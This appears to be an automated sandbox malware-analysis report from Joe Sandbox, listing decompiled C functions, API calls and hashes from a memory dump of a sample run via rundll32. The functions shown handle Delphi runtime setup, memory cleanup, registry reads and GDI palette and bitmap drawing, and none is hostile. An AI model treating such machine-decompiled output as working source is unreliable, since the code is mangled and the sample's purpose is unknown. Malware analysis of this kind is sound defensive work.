Instruction ID: 65781fd8a3c171aa9616be497a23360c574543f0da2ef1ab2b42fe449e9514e7
Opcode Fuzzy Hash: 432ee5f91a8378fe5b03a845c0f0a13692f62fe8703f5df8a1ff97568ad16fcd
Instruction Fuzzy Hash: 99314F74A04648EFEB00DFA8C941BADBBB5FB89710F11C5A5FA14AB381D6709D41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 009F631C Relevance: 9.1, APIs: 6, Instructions: 65
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E009F631C(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, struct HPALETTE__* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				struct HPALETTE__* _v12;
				struct HDC__* _v16;
				struct tagBITMAPINFO* _t36;
				intOrPtr _t43;
				struct HBITMAP__* _t47;
				void* _t50;

				_t36 = __ecx;
				_t47 = __eax;
				E009F61CC(__eax, _a4, __ecx);
				_v12 = 0;
				_v16 = CreateCompatibleDC(0);
				_push(_t50);
				_push(0x9f63b9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50 + 0xfffffff4;
				if(__edx != 0) {
					_v12 = SelectPalette(_v16, __edx, 0);
					RealizePalette(_v16);
				}
				_v5 = GetDIBits(_v16, _t47, 0, _t36->bmiHeader.biHeight, _a8, _t36, 0) != 0;
				_pop(_t43);
				 *[fs:eax] = _t43;
				_push(0x9f63c0);
				if(_v12 != 0) {
					SelectPalette(_v16, _v12, 0);
				}
				return DeleteDC(_v16);
			}

0x009f6325
0x009f6329
0x009f6332
0x009f6339
0x009f6343
0x009f6348
0x009f6349
0x009f634e
0x009f6351
0x009f6356
0x009f6364
0x009f636b
0x009f636b
0x009f6389
0x009f638f
0x009f6392
0x009f6395
0x009f639e
0x009f63aa
0x009f63aa
0x009f63b8

APIs

Part of subcall function 009F61CC: GetObjectA.GDI32(?,00000054), ref: 009F61E0

CreateCompatibleDC.GDI32(00000000), ref: 009F633E
SelectPalette.GDI32(?,?,00000000), ref: 009F635F
RealizePalette.GDI32(?), ref: 009F636B
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 009F6382
SelectPalette.GDI32(?,00000000,00000000), ref: 009F63AA
DeleteDC.GDI32(?), ref: 009F63B3

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Palette$Select$BitsCompatibleCreateDeleteObjectRealize
String ID:
API String ID: 1221726059-0
Opcode ID: 5f1dd3a2fe065bc163b07c48a7043290622a84fc49cf87f295e0270a9e5d4673
Instruction ID: 6c77c874f2f5120211db4940e4951d090bfc2a01b232cab9f520821f8aacf1f8
Opcode Fuzzy Hash: 5f1dd3a2fe065bc163b07c48a7043290622a84fc49cf87f295e0270a9e5d4673
Instruction Fuzzy Hash: 1E114C75A44708BFDB10DBA8CC81F9EB7FCAB89710F118465B618E7381D775AD008B60

Uniqueness

Uniqueness Score: -1.00%

Function 009D1CD0 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E009D1CD0() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0xa9f5c4 == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(0x9d1da6);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0xa9f04d != 0) {
						_push(0xa9f5cc);
						L009D1568();
					}
					 *0xa9f5c4 = 0;
					_t3 =  *0xa9f624; // 0x8f0f20
					LocalFree(_t3);
					 *0xa9f624 = 0;
					_t19 =  *0xa9f5ec; // 0x8f2554
					while(_t19 != 0xa9f5ec) {
						VirtualFree( *(_t19 + 8), 0, 0x8000);
						_t19 =  *_t19;
					}
					E009D15D0(0xa9f5ec);
					E009D15D0(0xa9f5fc);
					E009D15D0(0xa9f628);
					_t14 =  *0xa9f5e4; // 0x8f1f20
					while(_t14 != 0) {
						 *0xa9f5e4 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0xa9f5e4; // 0x8f1f20
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x9d1dad);
					if( *0xa9f04d != 0) {
						_push(0xa9f5cc);
						L009D1570();
					}
					_push(0xa9f5cc);
					L009D1578();
					return 0;
				}
			}

0x009d1cd1
0x009d1cdb
0x009d1daf
0x009d1ce1
0x009d1ce3
0x009d1ce4
0x009d1ce9
0x009d1cec
0x009d1cf6
0x009d1cf8
0x009d1cfd
0x009d1cfd
0x009d1d02
0x009d1d09
0x009d1d0f
0x009d1d16
0x009d1d1b
0x009d1d35
0x009d1d2e
0x009d1d33
0x009d1d33
0x009d1d42
0x009d1d4c
0x009d1d56
0x009d1d5b
0x009d1d62
0x009d1d66
0x009d1d6d
0x009d1d72
0x009d1d77
0x009d1d7d
0x009d1d80
0x009d1d83
0x009d1d8f
0x009d1d91
0x009d1d96
0x009d1d96
0x009d1d9b
0x009d1da0
0x009d1da5
0x009d1da5

APIs

RtlEnterCriticalSection.KERNEL32(00A9F5CC,00000000,009D1DA6), ref: 009D1CFD
LocalFree.KERNEL32(008F0F20,00000000,009D1DA6), ref: 009D1D0F
VirtualFree.KERNEL32(?,00000000,00008000,008F0F20,00000000,009D1DA6), ref: 009D1D2E
LocalFree.KERNEL32(008F1F20,?,00000000,00008000,008F0F20,00000000,009D1DA6), ref: 009D1D6D
RtlLeaveCriticalSection.KERNEL32(00A9F5CC,009D1DAD,008F0F20,00000000,009D1DA6), ref: 009D1D96
RtlDeleteCriticalSection.KERNEL32(00A9F5CC,009D1DAD,008F0F20,00000000,009D1DA6), ref: 009D1DA0

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 3ee3cfd9d0fbefa1e6ca1b9e4a416f6a988e9f1b91faa4d46047aa0df5c77a34
Instruction ID: 1251b1c340ba0fc0d666d6890809a197727e1c6ae7b67281f40244df02724265
Opcode Fuzzy Hash: 3ee3cfd9d0fbefa1e6ca1b9e4a416f6a988e9f1b91faa4d46047aa0df5c77a34
Instruction Fuzzy Hash: 67118872B847807EEB11EFA8AC46B1536DDA7D5700F51C4B7F006C63E6DA689801CB20

Uniqueness

Uniqueness Score: -1.00%

Function 009F5B74 Relevance: 9.1, APIs: 6, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009F5B74(void* __eax, signed int __ecx) {
				char _v1036;
				signed int _v1038;
				struct tagRGBQUAD _v1048;
				short _v1066;
				void* _t20;
				struct HDC__* _t25;
				void* _t28;
				void* _t31;
				struct HPALETTE__* _t33;
				LOGPALETTE* _t34;

				_t31 = __eax;
				_t33 = 0;
				_t34->palVersion = 0x300;
				if(__eax == 0) {
					_v1038 = __ecx;
					E009D2AC8(_t28, __ecx << 2,  &_v1036);
				} else {
					_t25 = CreateCompatibleDC(0);
					_t20 = SelectObject(_t25, _t31);
					_v1066 = GetDIBColorTable(_t25, 0, 0x100,  &_v1048);
					SelectObject(_t25, _t20);
					DeleteDC(_t25);
				}
				if(_v1038 != 0) {
					if(_v1038 != 0x10 || E009F5ADC(_t34) == 0) {
						E009F596C( &_v1036, _v1038 & 0x0000ffff);
					}
					_t33 = CreatePalette(_t34);
				}
				return _t33;
			}

0x009f5b7d
0x009f5b7f
0x009f5b81
0x009f5b89
0x009f5bc3
0x009f5bd1
0x009f5b8b
0x009f5b92
0x009f5b96
0x009f5baf
0x009f5bb6
0x009f5bbc
0x009f5bbc
0x009f5bdc
0x009f5be4
0x009f5bfa
0x009f5bfa
0x009f5c07
0x009f5c07
0x009f5c14

APIs

CreateCompatibleDC.GDI32(00000000), ref: 009F5B8D
SelectObject.GDI32(00000000,00000000), ref: 009F5B96
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,009F8063,?,?,?,?,009F6C4F), ref: 009F5BAA
SelectObject.GDI32(00000000,00000000), ref: 009F5BB6
DeleteDC.GDI32(00000000), ref: 009F5BBC
CreatePalette.GDI32 ref: 009F5C02

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CreateObjectSelect$ColorCompatibleDeletePaletteTable
String ID:
API String ID: 2515223848-0
Opcode ID: 51e7dc9b8e2b7936394e1b89e8001dead6ba83b8a03920836762a65d0fd4e157
Instruction ID: 2bd1073c04c9d48caab9156f189db34792875c64598ee8e0f6287f8f3b3c5d70
Opcode Fuzzy Hash: 51e7dc9b8e2b7936394e1b89e8001dead6ba83b8a03920836762a65d0fd4e157
Instruction Fuzzy Hash: 8F01B16160471466E620B76D9C43F7BB2EC9FC0750F16C91EB7898B382E7798C44C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 009F5264 Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009F5264(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E009F4A40( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E009F4A40( *((intOrPtr*)(_t36 + 0x14))));
				if(E009F4B20( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E009F3D80(E009F4A04( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E009F3D80(E009F4A04( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x009f5265
0x009f5270
0x009f5282
0x009f5291
0x009f52cb
0x009f52dc
0x009f5293
0x009f52a5
0x009f52b6
0x009f52b6

APIs

Part of subcall function 009F4A40: CreateBrushIndirect.GDI32(?), ref: 009F4AEA

UnrealizeObject.GDI32(00000000), ref: 009F5270
SelectObject.GDI32(?,00000000), ref: 009F5282
SetBkColor.GDI32(?,00000000), ref: 009F52A5
SetBkMode.GDI32(?,00000002), ref: 009F52B0
SetBkColor.GDI32(?,00000000), ref: 009F52CB
SetBkMode.GDI32(?,00000001), ref: 009F52D6

Part of subcall function 009F3D80: GetSysColor.USER32(?), ref: 009F3D8A

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 14f6aa9631b8364fae043b54f33af7ef634752645c4b6b2fabfca5e3adb34395
Instruction ID: bf3a42e94e9df7c9c004c7144f0d2180a131587f007da9286d1e1d60c9df0fee
Opcode Fuzzy Hash: 14f6aa9631b8364fae043b54f33af7ef634752645c4b6b2fabfca5e3adb34395
Instruction Fuzzy Hash: C2F079B5644504ABCE04FFACE9C6F1B6B986F843017058491BA08DF297CA65E8108B35

Uniqueness

Uniqueness Score: -1.00%

Function 009D31F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E009D31F0() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0xa9c020 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0xa9c020; // 0x27f
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0xa9c020 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(0x9d3261);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x9d3268);
					return RegCloseKey(_v8);
				}
			}

0x009d31f1
0x009d31f3
0x009d31fd
0x009d3219
0x009d3268
0x009d327a
0x009d327d
0x009d3286
0x009d321b
0x009d321d
0x009d321e
0x009d3223
0x009d3226
0x009d3229
0x009d3245
0x009d324c
0x009d324f
0x009d3252
0x009d3260
0x009d3260

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 009D3212
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,009D3261,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 009D3245
RegCloseKey.ADVAPI32(?,009D3268,00000000,?,00000004,00000000,009D3261,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 009D325B

Strings

FPUMaskValue, xrefs: 009D323C
SOFTWARE\Borland\Delphi\RTL, xrefs: 009D3208

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 42f106e6eda843f6ef56f85b6a656472252769804a411830309663d84149e5d1
Instruction ID: 5373301aea25a2ca56fbc315e580f401f03325dd08b96711b63d12fe945278cb
Opcode Fuzzy Hash: 42f106e6eda843f6ef56f85b6a656472252769804a411830309663d84149e5d1
Instruction Fuzzy Hash: FB01D47AE80308BAEB11DBE0DD42BB977BCEB48B15F508163FA14E2790E6749A10C755

Uniqueness

Uniqueness Score: -1.00%

Function 009E4350 Relevance: 7.8, APIs: 5, Instructions: 271
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E009E4350(signed short* __eax, intOrPtr __ecx, signed short* __edx, void* __edi, void* __fp0) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				signed int _v18;
				signed int _v20;
				void* _v24;
				void* _v28;
				char _v44;
				void* __ebp;
				void* _t119;
				signed int _t207;
				intOrPtr _t216;
				intOrPtr _t217;
				intOrPtr _t250;
				intOrPtr _t255;
				intOrPtr _t259;
				intOrPtr _t264;
				intOrPtr _t268;
				void* _t271;
				void* _t273;
				intOrPtr _t274;

				_t278 = __fp0;
				_t269 = __edi;
				_t271 = _t273;
				_t274 = _t273 + 0xffffffd8;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t204 =  *_v8;
				if(( *_v8 & 0x00000fff) >= 0x10f) {
					if(E009E6E74(_t204,  &_v24) == 0) {
						E009DF34C(__ecx);
					}
					_push( &_v20);
					_t216 = _v16;
					if( *((intOrPtr*)( *_v24 + 8))() == 0) {
						_t207 =  *_v12;
						if((_t207 & 0x00000fff) >= 0x10f) {
							if(E009E6E74(_t207,  &_v28) != 0) {
								_push( &_v18);
								_t217 = _v16;
								if( *((intOrPtr*)( *_v28 + 4))() == 0) {
									_t119 = E009DF34C(_t217);
									goto L35;
								} else {
									if( *_v8 == _v18) {
										_t119 =  *((intOrPtr*)( *_v28 + 0x2c))(_v16);
										goto L35;
									} else {
										_push( &_v44);
										L009DE2EC();
										_push(_t271);
										_push(0x9e4675);
										_push( *[fs:eax]);
										 *[fs:eax] = _t274;
										_t219 = _v18 & 0x0000ffff;
										E009E0300( &_v44, _v18 & 0x0000ffff, _v8, _t269, _t278);
										E009DFDBC(_v8,  &_v44);
										if( *_v8 != _v18) {
											E009DF25C(_t219);
										}
										_pop(_t250);
										 *[fs:eax] = _t250;
										_push(0x9e467c);
										return E009DFA94( &_v44);
									}
								}
							} else {
								_t119 = E009DF34C(_t216);
								goto L35;
							}
						} else {
							if(_t207 ==  *_v8) {
								_t119 = E009E50AC(_v8, _v16, _v12, _t278);
								goto L35;
							} else {
								_push( &_v44);
								L009DE2EC();
								_push(_t271);
								_push(0x9e45c6);
								_push( *[fs:eax]);
								 *[fs:eax] = _t274;
								_t224 =  *_v12 & 0x0000ffff;
								E009E0300( &_v44,  *_v12 & 0x0000ffff, _v8, _t269, _t278);
								E009DFDBC(_v8,  &_v44);
								if( *_v8 !=  *_v12) {
									E009DF25C(_t224);
								}
								_pop(_t255);
								 *[fs:eax] = _t255;
								_push(0x9e45cd);
								return E009DFA94( &_v44);
							}
						}
					} else {
						if( *_v12 == _v20) {
							_t119 =  *((intOrPtr*)( *_v24 + 0x2c))(_v16);
							goto L35;
						} else {
							_push( &_v44);
							L009DE2EC();
							_push(_t271);
							_push(0x9e452b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t274;
							_t228 = _v20 & 0x0000ffff;
							E009E0300( &_v44, _v20 & 0x0000ffff, _v12, _t269, _t278);
							if(_v44 != _v20) {
								E009DF25C(_t228);
							}
							 *((intOrPtr*)( *_v24 + 0x2c))(_v16);
							_pop(_t259);
							 *[fs:eax] = _t259;
							_push(0x9e4695);
							return E009DFA94( &_v44);
						}
					}
				} else {
					if(E009E6E74( *_v12,  &_v28) != 0) {
						_push( &_v18);
						if( *((intOrPtr*)( *_v28 + 4))() == 0) {
							_push( &_v44);
							L009DE2EC();
							_push(_t271);
							_push(0x9e448b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t274;
							_t234 =  *_v8 & 0x0000ffff;
							E009E0300( &_v44,  *_v8 & 0x0000ffff, _v12, __edi, __fp0);
							if( *_v8 != _v44) {
								E009DF25C(_t234);
							}
							E009E50AC(_v8, _v16,  &_v44, _t278);
							_pop(_t264);
							 *[fs:eax] = _t264;
							_push(0x9e4695);
							return E009DFA94( &_v44);
						} else {
							if( *_v8 == _v18) {
								_t119 =  *((intOrPtr*)( *_v28 + 0x2c))(_v16);
								goto L35;
							} else {
								_push( &_v44);
								L009DE2EC();
								_push(_t271);
								_push(0x9e4410);
								_push( *[fs:eax]);
								 *[fs:eax] = _t274;
								_t239 = _v18 & 0x0000ffff;
								E009E0300( &_v44, _v18 & 0x0000ffff, _v8, __edi, __fp0);
								E009DFDBC(_v8,  &_v44);
								if( *_v8 != _v18) {
									E009DF25C(_t239);
								}
								_pop(_t268);
								 *[fs:eax] = _t268;
								_push(0x9e4417);
								return E009DFA94( &_v44);
							}
						}
					} else {
						_t119 = E009DF34C(__ecx);
						L35:
						return _t119;
					}
				}
			}

0x009e4350
0x009e4350
0x009e4351
0x009e4353
0x009e4357
0x009e435a
0x009e435d
0x009e4363
0x009e4370
0x009e44a1
0x009e44a3
0x009e44a3
0x009e44ab
0x009e44af
0x009e44bc
0x009e454c
0x009e4559
0x009e45ef
0x009e45fe
0x009e4602
0x009e460f
0x009e4690
0x00000000
0x009e4611
0x009e461b
0x009e468b
0x00000000
0x009e461d
0x009e4620
0x009e4621
0x009e4628
0x009e4629
0x009e462e
0x009e4631
0x009e4634
0x009e463e
0x009e4649
0x009e4658
0x009e465a
0x009e465a
0x009e4661
0x009e4664
0x009e4667
0x009e4674
0x009e4674
0x009e461b
0x009e45f1
0x009e45f1
0x00000000
0x009e45f1
0x009e455f
0x009e4568
0x009e45d6
0x00000000
0x009e456a
0x009e456d
0x009e456e
0x009e4575
0x009e4576
0x009e457b
0x009e457e
0x009e4584
0x009e458d
0x009e4598
0x009e45a9
0x009e45ab
0x009e45ab
0x009e45b2
0x009e45b5
0x009e45b8
0x009e45c5
0x009e45c5
0x009e4568
0x009e44c2
0x009e44cc
0x009e4541
0x00000000
0x009e44ce
0x009e44d1
0x009e44d2
0x009e44d9
0x009e44da
0x009e44df
0x009e44e2
0x009e44e5
0x009e44ef
0x009e44fc
0x009e44fe
0x009e44fe
0x009e4512
0x009e4517
0x009e451a
0x009e451d
0x009e452a
0x009e452a
0x009e44cc
0x009e4376
0x009e4386
0x009e4395
0x009e43a6
0x009e4431
0x009e4432
0x009e4439
0x009e443a
0x009e443f
0x009e4442
0x009e4448
0x009e4451
0x009e4460
0x009e4462
0x009e4462
0x009e4470
0x009e4477
0x009e447a
0x009e447d
0x009e448a
0x009e43ac
0x009e43b6
0x009e4426
0x00000000
0x009e43b8
0x009e43bb
0x009e43bc
0x009e43c3
0x009e43c4
0x009e43c9
0x009e43cc
0x009e43cf
0x009e43d9
0x009e43e4
0x009e43f3
0x009e43f5
0x009e43f5
0x009e43fc
0x009e43ff
0x009e4402
0x009e440f
0x009e440f
0x009e43b6
0x009e4388
0x009e4388
0x009e4695
0x009e4699
0x009e4699
0x009e4386

APIs

VariantInit.OLEAUT32(?), ref: 009E43BC
VariantInit.OLEAUT32(?), ref: 009E44D2

Part of subcall function 009E6E74: RtlEnterCriticalSection.KERNEL32(00A9F82C,?,?,?,00000000,?,009E5340,00000000,009E53E6,?,?,?,?,?,009DF2DF,00000000), ref: 009E6EAA
Part of subcall function 009E6E74: RtlLeaveCriticalSection.KERNEL32(00A9F82C,009E6F23,?,00A9F82C,?,?,?,00000000,?,009E5340,00000000,009E53E6), ref: 009E6F16

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CriticalInitSectionVariant$EnterLeave
String ID:
API String ID: 2777075435-0
Opcode ID: 23ae1eb5965da809551165626478e05902e2f2a8fc66f40f50c0d34b24efb062
Instruction ID: b19043c504f382e5216ff19b7cb88f5e507c298966656453d4ae64a84a55cfe3
Opcode Fuzzy Hash: 23ae1eb5965da809551165626478e05902e2f2a8fc66f40f50c0d34b24efb062
Instruction Fuzzy Hash: FFB14939A00249EFCF11EF95C4929EDB7B9EF89714F9084A1F901A7751E730AE81DB60

Uniqueness

Uniqueness Score: -1.00%

Function 009F8018 Relevance: 7.6, APIs: 5, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009F8018(int __eax) {
				int _t21;
				signed int _t29;
				char _t34;
				int _t42;
				int _t43;
				struct HDC__* _t44;
				intOrPtr _t45;

				_t21 = __eax;
				_t42 = __eax;
				_t45 =  *((intOrPtr*)(__eax + 0x28));
				if( *((char*)(__eax + 0x30)) == 0 &&  *(_t45 + 0x10) == 0 &&  *((intOrPtr*)(_t45 + 0x14)) != 0) {
					_t22 =  *((intOrPtr*)(_t45 + 0x14));
					if( *((intOrPtr*)(_t45 + 0x14)) ==  *((intOrPtr*)(_t45 + 8))) {
						E009F6A78(_t22);
					}
					_t21 = E009F5B74( *((intOrPtr*)(_t45 + 0x14)), 1 <<  *(_t45 + 0x3e));
					_t43 = _t21;
					 *(_t45 + 0x10) = _t43;
					if(_t43 == 0) {
						_t44 = E009F5484(GetDC(0));
						if( *((char*)(_t45 + 0x71)) != 0) {
							L9:
							_t34 = 1;
						} else {
							_t29 = GetDeviceCaps(_t44, 0xc);
							if(_t29 * GetDeviceCaps(_t44, 0xe) < ( *(_t45 + 0x2a) & 0x0000ffff) * ( *(_t45 + 0x28) & 0x0000ffff)) {
								goto L9;
							} else {
								_t34 = 0;
							}
						}
						 *((char*)(_t45 + 0x71)) = _t34;
						if(_t34 != 0) {
							 *(_t45 + 0x10) = CreateHalftonePalette(_t44);
						}
						_t21 = ReleaseDC(0, _t44);
						if( *(_t45 + 0x10) == 0) {
							 *((char*)(_t42 + 0x30)) = 1;
							return _t21;
						}
					}
				}
				return _t21;
			}

0x009f8018
0x009f801c
0x009f801e
0x009f8025
0x009f803f
0x009f8045
0x009f8047
0x009f8047
0x009f805e
0x009f8063
0x009f8065
0x009f806a
0x009f8078
0x009f807e
0x009f80a7
0x009f80a7
0x009f8080
0x009f8083
0x009f80a1
0x00000000
0x009f80a3
0x009f80a3
0x009f80a3
0x009f80a1
0x009f80a9
0x009f80ae
0x009f80b6
0x009f80b6
0x009f80bc
0x009f80c5
0x009f80c7
0x00000000
0x009f80c7
0x009f80c5
0x009f806a
0x009f80cf

APIs

GetDC.USER32(00000000), ref: 009F806E
GetDeviceCaps.GDI32(00000000,0000000C), ref: 009F8083
GetDeviceCaps.GDI32(00000000,0000000E), ref: 009F808D
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,009F6C4F,00000000,009F6CDB), ref: 009F80B1
ReleaseDC.USER32 ref: 009F80BC

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CapsDevice$CreateHalftonePaletteRelease
String ID:
API String ID: 2404249990-0
Opcode ID: 0fba0536c1c151285a3fdbdbd370115afa4dc770d1e103635745386161a291d9
Instruction ID: 702e7549d8d46878d60d1d409137f99ddc5d2934a8672f6dcce20e1b719dbf3d
Opcode Fuzzy Hash: 0fba0536c1c151285a3fdbdbd370115afa4dc770d1e103635745386161a291d9
Instruction Fuzzy Hash: 1711B6216456ADAEDB60EF64D8457FF3BD4AF92351F484121FE009B281DFB48C98C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 009F5ADC Relevance: 7.6, APIs: 5, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E009F5ADC(void* __eax) {
				char _v5;
				struct HDC__* _v12;
				struct HPALETTE__* _t21;
				struct HPALETTE__* _t25;
				void* _t28;
				intOrPtr _t35;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t37 = _t39;
				_t40 = _t39 + 0xfffffff8;
				_t28 = __eax;
				_v5 = 0;
				if( *0xa9f894 == 0) {
					return _v5;
				} else {
					_v12 = GetDC(0);
					_push(_t37);
					_push(0x9f5b62);
					_push( *[fs:edx]);
					 *[fs:edx] = _t40;
					if(GetDeviceCaps(_v12, 0x68) >= 0x10) {
						_t21 =  *0xa9f894; // 0x840808f0
						GetPaletteEntries(_t21, 0, 8, _t28 + 4);
						_t25 =  *0xa9f894; // 0x840808f0
						GetPaletteEntries(_t25, 8, 8, _t28 + ( *(_t28 + 2) & 0x0000ffff) * 4 - 0x1c);
						_v5 = 1;
					}
					_pop(_t35);
					 *[fs:eax] = _t35;
					_push(0x9f5b69);
					return ReleaseDC(0, _v12);
				}
			}

0x009f5add
0x009f5adf
0x009f5ae3
0x009f5ae5
0x009f5af0
0x009f5b70
0x009f5af2
0x009f5af9
0x009f5afe
0x009f5aff
0x009f5b04
0x009f5b07
0x009f5b18
0x009f5b22
0x009f5b28
0x009f5b3a
0x009f5b40
0x009f5b45
0x009f5b45
0x009f5b4b
0x009f5b4e
0x009f5b51
0x009f5b61
0x009f5b61

APIs

GetDC.USER32(00000000), ref: 009F5AF4
GetDeviceCaps.GDI32(?,00000068), ref: 009F5B10
GetPaletteEntries.GDI32(840808F0,00000000,00000008,?), ref: 009F5B28
GetPaletteEntries.GDI32(840808F0,00000008,00000008,?), ref: 009F5B40
ReleaseDC.USER32 ref: 009F5B5C

Memory Dump Source

